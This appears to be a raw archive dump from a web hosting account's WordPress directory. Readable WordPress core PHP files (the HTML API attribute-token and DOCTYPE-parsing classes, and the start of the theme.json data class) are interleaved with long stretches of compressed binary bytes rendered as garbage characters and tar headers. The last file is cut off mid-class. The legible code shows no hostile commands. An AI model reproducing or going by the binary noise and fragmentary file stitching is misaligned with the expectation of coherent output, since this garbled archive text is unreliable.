V�;�"R�[��Qn���_Ƥ?���h�x	�E�>�2�L�u���� �W�<{������k/� �B�7�{��>�|t�w���d{˗,D�DBrj��#����ㆃ:��j���"�rAs�~��k��غ}�6�8�9b�;Y�!� 9
��F�B�N
��F��B��b�����O�x�����'������G����?�������~��ѓ�>y��ӯ����"�~$��NY�[��`�֍�Z��.��<��-�(�����|���7x���\��)�i��Hyr�ct��)�)+|N�+��C�3���� �c#Q��2mxb;������ġ)���MR^\{;�(#d��-Z��4CjK���e�fݰ�0-k�j5���T-߱��<��W������_�U5����M�C0��r��+;T��e/��Ѝ`��� *l�T�L�}�υo���+�+�x�q�&\�,x��(|��K�Ta�~y�=/�qɭsm�&�>��T��M�7�=�����,�ZO����2�B�Ll[�xI�}O�h�s-��<^k�ڿ4X���km�Ն$��̑7�z�n׏����;�~	R���Co�>r���C7���X^�5T��H���lfe��|[��Ve���/-���h��'z�-P@��0�q�͋i�M�_k��[h�P��~y�~���緟�~�~�?���PKYO\���W��10/theme-i18n.json.json.tar.gznu�[�����UAO�0�
�b�Ѡ�Șƛ��Ո7cL�
�vm�
����(�Z��/Y���}�_Y�+��Ȃ���O(�K]��U��y�U�K\�#����'���"���ԙ��d�A2J�t��q:�|�eI�?�U̕F$�Bk��5��gA8���$	҄���
�@�rI�I�p����ք�`���$����)gzLް�ܛL��C��+@
 Muuiև�e�B��;��A-:4�,
U�sʥ�L 
�c/�A{z�!���7t�"<Ŝk��M�?�(���Ӵ�۷z ��kK\�
3'�,7R��x��}^�iP[�.Q�_�g 1xhK�5�O7�<^7z��岢ӌV�C�ʫ����Kױ暰����jQ�I]�F�ڵ���a�.զq]D]�z��z��6���q���2.!�ٔ�<F2��ë;\	��h|j��/jP�[�����p���P��/�e���:���>v!>��	PKYO\�Wy(10/class-wp-html-attribute-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-attribute-token.php000064400000005327151440277760024114 0ustar00<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
PKYO\y��jj%10/class-wp-html-doctype-info.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-doctype-info.php000064400000061446151440300210023350 0ustar00<?php
/**
 * HTML API: WP_HTML_Doctype_Info class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.7.0
 */

/**
 * Core class used by the HTML API to represent a DOCTYPE declaration.
 *
 * This class parses DOCTYPE tokens for the full parser in the HTML Processor.
 * Most code interacting with HTML won't need to parse DOCTYPE declarations;
 * the HTML Processor is one exception. Consult the HTML Processor for proper
 * parsing of an HTML document.
 *
 * A DOCTYPE declaration may indicate its document compatibility mode, which impacts
 * the structure of the following HTML as well as the behavior of CSS class selectors.
 * There are three possible modes:
 *
 *  - "no-quirks" and "limited-quirks" modes (also called "standards mode").
 *  - "quirks" mode.
 *
 * These modes mostly determine whether CSS class name selectors match values in the
 * HTML `class` attribute in an ASCII-case-insensitive way (quirks mode), or whether
 * they match only when byte-for-byte identical (no-quirks mode).
 *
 * All HTML documents should start with the standard HTML5 DOCTYPE: `<!DOCTYPE html>`.
 *
 * > DOCTYPEs are required for legacy reasons. When omitted, browsers tend to use a different
 * > rendering mode that is incompatible with some specifications. Including the DOCTYPE in a
 * > document ensures that the browser makes a best-effort attempt at following the
 * > relevant specifications.
 *
 * @see https://html.spec.whatwg.org/#the-doctype
 *
 * DOCTYPE declarations comprise four properties: a name, public identifier, system identifier,
 * and an indication of which document compatibility mode they would imply if an HTML parser
 * hadn't already determined it from other information.
 *
 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
 *
 * Historically, the DOCTYPE declaration was used in SGML documents to instruct a parser how
 * to interpret the various tags and entities within a document. Its role in HTML diverged
 * from how it was used in SGML and no meaning should be back-read into HTML based on how it
 * is used in SGML, XML, or XHTML documents.
 *
 * @see https://www.iso.org/standard/16387.html
 *
 * @since 6.7.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Doctype_Info {
	/**
	 * Name of the DOCTYPE: should be "html" for HTML documents.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * Historically the DOCTYPE name indicates name of the document's root element.
	 *
	 *     <!DOCTYPE html>
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $name = null;

	/**
	 * Public identifier of the DOCTYPE.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * The public identifier is optional and should not appear in HTML documents.
	 * A `null` value indicates that no public identifier was present in the DOCTYPE.
	 *
	 * Historically the presence of the public identifier indicated that a document
	 * was meant to be shared between computer systems and the value indicated to a
	 * knowledgeable parser how to find the relevant document type definition (DTD).
	 *
	 *     <!DOCTYPE html PUBLIC "public id goes here in quotes">
	 *               │  │         ╰─── public identifier ─────╯
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $public_identifier = null;

	/**
	 * System identifier of the DOCTYPE.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * The system identifier is optional and should not appear in HTML documents.
	 * A `null` value indicates that no system identifier was present in the DOCTYPE.
	 *
	 * Historically the system identifier specified where a relevant document type
	 * declaration for the given document is stored and may be retrieved.
	 *
	 *     <!DOCTYPE html SYSTEM "system id goes here in quotes">
	 *               │  │         ╰──── system identifier ────╯
	 *               ╰──┴── name is "html".
	 *
	 * If a public identifier were provided it would indicate to a knowledgeable
	 * parser how to interpret the system identifier.
	 *
	 *     <!DOCTYPE html PUBLIC "public id goes here in quotes" "system id goes here in quotes">
	 *               │  │         ╰─── public identifier ─────╯   ╰──── system identifier ────╯
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $system_identifier = null;

	/**
	 * Which document compatibility mode this DOCTYPE declaration indicates.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * When an HTML parser has not already set the document compatibility mode,
	 * (e.g. "quirks" or "no-quirks" mode), it will be inferred from the properties
	 * of the appropriate DOCTYPE declaration, if one exists. The DOCTYPE can
	 * indicate one of three possible document compatibility modes:
	 *
	 *  - "no-quirks" and "limited-quirks" modes (also called "standards" mode).
	 *  - "quirks" mode (also called `CSS1Compat` mode).
	 *
	 * An appropriate DOCTYPE is one encountered in the "initial" insertion mode,
	 * before the HTML element has been opened and before finding any other
	 * DOCTYPE declaration tokens.
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 *
	 * @since 6.7.0
	 *
	 * @var string One of "no-quirks", "limited-quirks", or "quirks".
	 */
	public $indicated_compatibility_mode;

	/**
	 * Constructor.
	 *
	 * This class should not be instantiated directly.
	 * Use the static {@see self::from_doctype_token} method instead.
	 *
	 * The arguments to this constructor correspond to the "DOCTYPE token"
	 * as defined in the HTML specification.
	 *
	 * > DOCTYPE tokens have a name, a public identifier, a system identifier,
	 * > and a force-quirks flag. When a DOCTYPE token is created, its name, public identifier,
	 * > and system identifier must be marked as missing (which is a distinct state from the
	 * > empty string), and the force-quirks flag must be set to off (its other state is on).
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @param string|null $name              Name of the DOCTYPE.
	 * @param string|null $public_identifier Public identifier of the DOCTYPE.
	 * @param string|null $system_identifier System identifier of the DOCTYPE.
	 * @param bool        $force_quirks_flag Whether the force-quirks flag is set for the token.
	 */
	private function __construct(
		?string $name,
		?string $public_identifier,
		?string $system_identifier,
		bool $force_quirks_flag
	) {
		$this->name              = $name;
		$this->public_identifier = $public_identifier;
		$this->system_identifier = $system_identifier;

		/*
		 * > If the DOCTYPE token matches one of the conditions in the following list,
		 * > then set the Document to quirks mode:
		 */

		/*
		 * > The force-quirks flag is set to on.
		 */
		if ( $force_quirks_flag ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * Normative documents will contain the literal `<!DOCTYPE html>` with no
		 * public or system identifiers; short-circuit to avoid extra parsing.
		 */
		if ( 'html' === $name && null === $public_identifier && null === $system_identifier ) {
			$this->indicated_compatibility_mode = 'no-quirks';
			return;
		}

		/*
		 * > The name is not "html".
		 *
		 * The tokenizer must report the name in lower case even if provided in
		 * the document in upper case; thus no conversion is required here.
		 */
		if ( 'html' !== $name ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * Set up some variables to handle the rest of the conditions.
		 *
		 * > set...the public identifier...to...the empty string if the public identifier was missing.
		 * > set...the system identifier...to...the empty string if the system identifier was missing.
		 * >
		 * > The system identifier and public identifier strings must be compared...
		 * > in an ASCII case-insensitive manner.
		 * >
		 * > A system identifier whose value is the empty string is not considered missing
		 * > for the purposes of the conditions above.
		 */
		$system_identifier_is_missing = null === $system_identifier;
		$public_identifier            = null === $public_identifier ? '' : strtolower( $public_identifier );
		$system_identifier            = null === $system_identifier ? '' : strtolower( $system_identifier );

		/*
		 * > The public identifier is set to…
		 */
		if (
			'-//w3o//dtd w3 html strict 3.0//en//' === $public_identifier ||
			'-/w3c/dtd html 4.0 transitional/en' === $public_identifier ||
			'html' === $public_identifier
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > The system identifier is set to…
		 */
		if ( 'http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd' === $system_identifier ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * All of the following conditions depend on matching the public identifier.
		 * If the public identifier is empty, none of the following conditions will match.
		 */
		if ( '' === $public_identifier ) {
			$this->indicated_compatibility_mode = 'no-quirks';
			return;
		}

		/*
		 * > The public identifier starts with…
		 *
		 * @todo Optimize this matching. It shouldn't be a large overall performance issue,
		 *       however, as only a single DOCTYPE declaration token should ever be parsed,
		 *       and normative documents will have exited before reaching this condition.
		 */
		if (
			str_starts_with( $public_identifier, '+//silmaril//dtd html pro v0r11 19970101//' ) ||
			str_starts_with( $public_identifier, '-//as//dtd html 3.0 aswedit + extensions//' ) ||
			str_starts_with( $public_identifier, '-//advasoft ltd//dtd html 3.0 aswedit + extensions//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.1e//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.2 final//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html//' ) ||
			str_starts_with( $public_identifier, '-//metrius//dtd metrius presentational//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 html strict//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 html//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 tables//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 html strict//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 html//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 tables//' ) ||
			str_starts_with( $public_identifier, '-//netscape comm. corp.//dtd html//' ) ||
			str_starts_with( $public_identifier, '-//netscape comm. corp.//dtd strict html//' ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html 2.0//" ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html extended 1.0//" ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html extended relaxed 1.0//" ) ||
			str_starts_with( $public_identifier, '-//sq//dtd html 2.0 hotmetal + extensions//' ) ||
			str_starts_with( $public_identifier, '-//softquad software//dtd hotmetal pro 6.0::19990601::extensions to html 4.0//' ) ||
			str_starts_with( $public_identifier, '-//softquad//dtd hotmetal pro 4.0::19971010::extensions to html 4.0//' ) ||
			str_starts_with( $public_identifier, '-//spyglass//dtd html 2.0 extended//' ) ||
			str_starts_with( $public_identifier, '-//sun microsystems corp.//dtd hotjava html//' ) ||
			str_starts_with( $public_identifier, '-//sun microsystems corp.//dtd hotjava strict html//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3 1995-03-24//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2 draft//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2 final//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2s draft//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 4.0 frameset//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 4.0 transitional//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html experimental 19960712//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html experimental 970421//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd w3 html//' ) ||
			str_starts_with( $public_identifier, '-//w3o//dtd w3 html 3.0//' ) ||
			str_starts_with( $public_identifier, '-//webtechs//dtd mozilla html 2.0//' ) ||
			str_starts_with( $public_identifier, '-//webtechs//dtd mozilla html//' )
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > The system identifier is missing and the public identifier starts with…
		 */
		if (
			$system_identifier_is_missing && (
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 frameset//' ) ||
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 transitional//' )
			)
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > Otherwise, if the DOCTYPE token matches one of the conditions in
		 * > the following list, then set the Document to limited-quirks mode.
		 */

		/*
		 * > The public identifier starts with…
		 */
		if (
			str_starts_with( $public_identifier, '-//w3c//dtd xhtml 1.0 frameset//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd xhtml 1.0 transitional//' )
		) {
			$this->indicated_compatibility_mode = 'limited-quirks';
			return;
		}

		/*
		 * > The system identifier is not missing and the public identifier starts with…
		 */
		if (
			! $system_identifier_is_missing && (
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 frameset//' ) ||
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 transitional//' )
			)
		) {
			$this->indicated_compatibility_mode = 'limited-quirks';
			return;
		}

		$this->indicated_compatibility_mode = 'no-quirks';
	}

	/**
	 * Creates a WP_HTML_Doctype_Info instance by parsing a raw DOCTYPE declaration token.
	 *
	 * Use this method to parse a DOCTYPE declaration token and get access to its properties
	 * via the returned WP_HTML_Doctype_Info class instance. The provided input must parse
	 * properly as a DOCTYPE declaration, though it must not represent a valid DOCTYPE.
	 *
	 * Example:
	 *
	 *     // Normative HTML DOCTYPE declaration.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( '<!DOCTYPE html>' );
	 *     'no-quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // A nonsensical DOCTYPE is still valid, and will indicate "quirks" mode.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( '<!doctypeJSON SILLY "nonsense\'>' );
	 *     'quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // Textual quirks present in raw HTML are handled appropriately.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( "<!DOCTYPE\nhtml\n>" );
	 *     'no-quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // Anything other than a proper DOCTYPE declaration token fails to parse.
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( ' <!DOCTYPE>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<!DOCTYPE ><p>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<!TYPEDOC>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( 'html' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<?xml version="1.0" encoding="UTF-8" ?>' );
	 *
	 * @since 6.7.0
	 *
	 * @param string $doctype_html The complete raw DOCTYPE HTML string, e.g. `<!DOCTYPE html>`.
	 *
	 * @return WP_HTML_Doctype_Info|null A WP_HTML_Doctype_Info instance will be returned if the
	 *                                   provided DOCTYPE HTML is a valid DOCTYPE. Otherwise, null.
	 */
	public static function from_doctype_token( string $doctype_html ): ?self {
		$doctype_name      = null;
		$doctype_public_id = null;
		$doctype_system_id = null;

		$end = strlen( $doctype_html ) - 1;

		/*
		 * This parser combines the rules for parsing DOCTYPE tokens found in the HTML
		 * specification for the DOCTYPE related tokenizer states.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-state
		 */

		/*
		 * - Valid DOCTYPE HTML token must be at least `<!DOCTYPE>` assuming a complete token not
		 *   ending in end-of-file.
		 * - It must start with an ASCII case-insensitive match for `<!DOCTYPE`.
		 * - The only occurrence of `>` must be the final byte in the HTML string.
		 */
		if (
			$end < 9 ||
			0 !== substr_compare( $doctype_html, '<!DOCTYPE', 0, 9, true )
		) {
			return null;
		}

		$at = 9;
		// Is there one and only one `>`?
		if ( '>' !== $doctype_html[ $end ] || ( strcspn( $doctype_html, '>', $at ) + $at ) < $end ) {
			return null;
		}

		/*
		 * Perform newline normalization and ensure the $end value is correct after normalization.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$doctype_html = str_replace( "\r\n", "\n", $doctype_html );
		$doctype_html = str_replace( "\r", "\n", $doctype_html );
		$end          = strlen( $doctype_html ) - 1;

		/*
		 * In this state, the doctype token has been found and its "content" optionally including the
		 * name, public identifier, and system identifier is between the current position and the end.
		 *
		 *     "<!DOCTYPE...declaration...>"
		 *               ╰─ $at           ╰─ $end
		 *
		 * It's also possible that the declaration part is empty.
		 *
		 *               ╭─ $at
		 *     "<!DOCTYPE>"
		 *               ╰─ $end
		 *
		 * Rules for parsing ">" which terminates the DOCTYPE do not need to be considered as they
		 * have been handled above in the condition that the provided DOCTYPE HTML must contain
		 * exactly one ">" character in the final position.
		 */

		/*
		 *
		 * Parsing effectively begins in "Before DOCTYPE name state". Ignore whitespace and
		 * proceed to the next state.
		 *
		 * @see https://html.spec.whatwg.org/#before-doctype-name-state
		 */
		$at += strspn( $doctype_html, " \t\n\f\r", $at );

		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		$name_length  = strcspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		$doctype_name = str_replace( "\0", "\u{FFFD}", strtolower( substr( $doctype_html, $at, $name_length ) ) );

		$at += $name_length;
		$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
		}

		/*
		 * "After DOCTYPE name state"
		 *
		 * Find a case-insensitive match for "PUBLIC" or "SYSTEM" at this point.
		 * Otherwise, set force-quirks and enter bogus DOCTYPE state (skip the rest of the doctype).
		 *
		 * @see https://html.spec.whatwg.org/#after-doctype-name-state
		 */
		if ( $at + 6 >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		/*
		 * > If the six characters starting from the current input character are an ASCII
		 * > case-insensitive match for the word "PUBLIC", then consume those characters
		 * > and switch to the after DOCTYPE public keyword state.
		 */
		if ( 0 === substr_compare( $doctype_html, 'PUBLIC', $at, 6, true ) ) {
			$at += 6;
			$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
			if ( $at >= $end ) {
				return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
			}
			goto parse_doctype_public_identifier;
		}

		/*
		 * > Otherwise, if the six characters starting from the current input character are an ASCII
		 * > case-insensitive match for the word "SYSTEM", then consume those characters and switch
		 * > to the after DOCTYPE system keyword state.
		 */
		if ( 0 === substr_compare( $doctype_html, 'SYSTEM', $at, 6, true ) ) {
			$at += 6;
			$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
			if ( $at >= $end ) {
				return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
			}
			goto parse_doctype_system_identifier;
		}

		/*
		 * > Otherwise, this is an invalid-character-sequence-after-doctype-name parse error.
		 * > Set the current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus
		 * > DOCTYPE state.
		 */
		return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );

		parse_doctype_public_identifier:
		/*
		 * The parser should enter "DOCTYPE public identifier (double-quoted) state" or
		 * "DOCTYPE public identifier (single-quoted) state" by finding one of the valid quotes.
		 * Anything else forces quirks mode and ignores the rest of the contents.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-public-identifier-(double-quoted)-state
		 * @see https://html.spec.whatwg.org/#doctype-public-identifier-(single-quoted)-state
		 */
		$closer_quote = $doctype_html[ $at ];

		/*
		 * > This is a missing-quote-before-doctype-public-identifier parse error. Set the
		 * > current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus DOCTYPE state.
		 */
		if ( '"' !== $closer_quote && "'" !== $closer_quote ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		$identifier_length = strcspn( $doctype_html, $closer_quote, $at, $end - $at );
		$doctype_public_id = str_replace( "\0", "\u{FFFD}", substr( $doctype_html, $at, $identifier_length ) );

		$at += $identifier_length;
		if ( $at >= $end || $closer_quote !== $doctype_html[ $at ] ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		/*
		 * "Between DOCTYPE public and system identifiers state"
		 *
		 * Advance through whitespace between public and system identifiers.
		 *
		 * @see https://html.spec.whatwg.org/#between-doctype-public-and-system-identifiers-state
		 */
		$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
		}

		parse_doctype_system_identifier:
		/*
		 * The parser should enter "DOCTYPE system identifier (double-quoted) state" or
		 * "DOCTYPE system identifier (single-quoted) state" by finding one of the valid quotes.
		 * Anything else forces quirks mode and ignores the rest of the contents.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-system-identifier-(double-quoted)-state
		 * @see https://html.spec.whatwg.org/#doctype-system-identifier-(single-quoted)-state
		 */
		$closer_quote = $doctype_html[ $at ];

		/*
		 * > This is a missing-quote-before-doctype-system-identifier parse error. Set the
		 * > current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus DOCTYPE state.
		 */
		if ( '"' !== $closer_quote && "'" !== $closer_quote ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		$identifier_length = strcspn( $doctype_html, $closer_quote, $at, $end - $at );
		$doctype_system_id = str_replace( "\0", "\u{FFFD}", substr( $doctype_html, $at, $identifier_length ) );

		$at += $identifier_length;
		if ( $at >= $end || $closer_quote !== $doctype_html[ $at ] ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
	}
}
PKYO\"%;)10/class-wp-simplepie-file.php.php.tar.gznu�[�����WmO9���WLuH	U�	�S8z�(U+�"� >4��ٝd-v�=����7��-�㪞t��!��g^<$2�QB�T�&����<
����|�E�1�Q�2����y���s.x�A��y�i=�ۻwߊ���������ǻOiwgw<��W�׫І)���;\��J1쎞<��x�ë�	\LÏ.�S��
5� %��2g�["\HO:��żXK~�ra/x��[]u$UiR�M�p���46�40��� �K�n��%���k(4ɭ񞆷ggS�	�B��{����$<J`ɯI;O�%L���<�fe�ѡD�+���\Ɉ\��+]�
~.]��ӫ4�7�W�e<�*��2��s�S�bPĺqe��v;���u�g(�/n��5S��7D
1c�ER��t"�4J�Aʠ�b��_�e�q8���A��#)�QEd�j]����4�
�p���P�W`0};ݷ��Ug��g�|(R��qH(ƨ(��y�%�9��ej̙r�d�Rb�,�-'��&l&1.l���[�|����Nyv�P隱�&��}�>iP���j��6,
�9H�U�5.qH�{�˜+�Vo�;#L���Ę\�ɋ��J����l�������m���)Pq�4��2EUS�B�Ԕ��
��"M�WU���T3�;'�Ћ�YZ�Ed���;��ɏ-jZ�-�+���E�>	%8%_��‚J�����X�k��{�J#�$d��T��^9�r�l�w�A;Wa����1h�Yo�e�У�m�c�Ζ��<|��֡���5�sX�i�ې|-�&k�-qq�v�J#�xɘ�M���L޼{~<9?=:O�?����|}zpf���>�F�%��}���d6��F�7�=e������Һ�*�ow:�������2�J���^K�fém;\�c�,7�>�ᨆ�|ꕂ�gG~[�RعmL6�|�:�L�h�ا]X��߆LJ���z�F#[rP����>
�B!�]��4&3H��9R.�#��m�E]�mܭ���)a,�7y��C?\�e������M�!A��ꃳ�"���.�z䉛4���z�3��"�f�a�o�m�"�EU1�-����˚2$X�����RX�V�w�Ӑc=�Ԉg��Z�Nˁhvn��3;b�	ꄚ�^s�tL�j�71�o8�i�|�����}P���Ɵ�vvw��9�~LS�G�L�����l_�c
姼��,���_��ag�ҠG@��f�*������R�+r!B��
��P����c�f��e�Y5w��?_
����6�k.�_$?�{�Le�� I���^j�V��|�M����Lބ)�}թ���ƍ��l�	��E3,�V���:�e{�
�]�Q�U:�u.
�	Pe�?�k�B��vwWs|ͧR��j�a.����v�<d�R$c$ �s�L;eK#s��~��I2��T_��
3��W7�Oґ��dt*k&,��O�]�w����$��m�����c�X?���:)��PKYO\�	rA#10/class-wp-theme-json-data.php.tarnu�[���home/homerdlh/public_html/wp-includes/class-wp-theme-json-data.php000064400000003421151442377730021267 0ustar00<?php
/**
 * WP_Theme_JSON_Data class
 *
 * @package WordPress
 * @subpackage Theme
 * @since 6.1.0
 */

/**
 * Class to provide access to update a theme.json structure.
 */
#[AllowDynamicProperties]
class WP_Theme_JSON_Data {

	/**
	 * Container of the data to update.
	 *
	 * @since 6.1.0
	 * @var WP_Theme_JSON
	 */
	private $theme_json = null;

	/**
	 * The origin of the data: default, theme, user, etc.
	 *
	 * @since 6.1.0
	 * @var string
	 */
	private $origin = '';

	/**
	 * Constructor.
	 *
	 * @since 6.1.0
	 *
	 * @link https://developer.wordpress.org/block-editor/reference-guides/theme-json-reference/
	 *
	 * @param array  $data   Array following the theme.json specification.
	 * @param string $origin The origin of the data: default, theme, user.
	 */
